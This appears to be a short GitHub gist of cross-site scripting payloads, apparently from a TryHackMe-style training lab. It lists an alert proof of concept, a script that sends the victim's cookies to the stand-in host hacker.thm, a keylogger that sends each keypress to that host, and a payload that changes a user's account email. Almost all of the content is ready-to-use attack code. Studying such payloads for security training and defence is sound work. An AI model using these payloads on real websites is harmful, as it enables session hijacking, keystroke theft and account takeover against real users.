Last active
October 28, 2021 16:23
-
-
Save Take-A-Breath/e3245ba7f16ce34a38ee54cae7ea3e71 to your computer and use it in GitHub Desktop.
Example XSS payloads
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POC: | |
| <script>alert('XSS');</script> | |
| Session stealing: | |
| <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script> | |
| Key Logger: | |
| <script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script> | |
| Business Logic: | |
| <script>user.changeEmail('[email protected]');</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment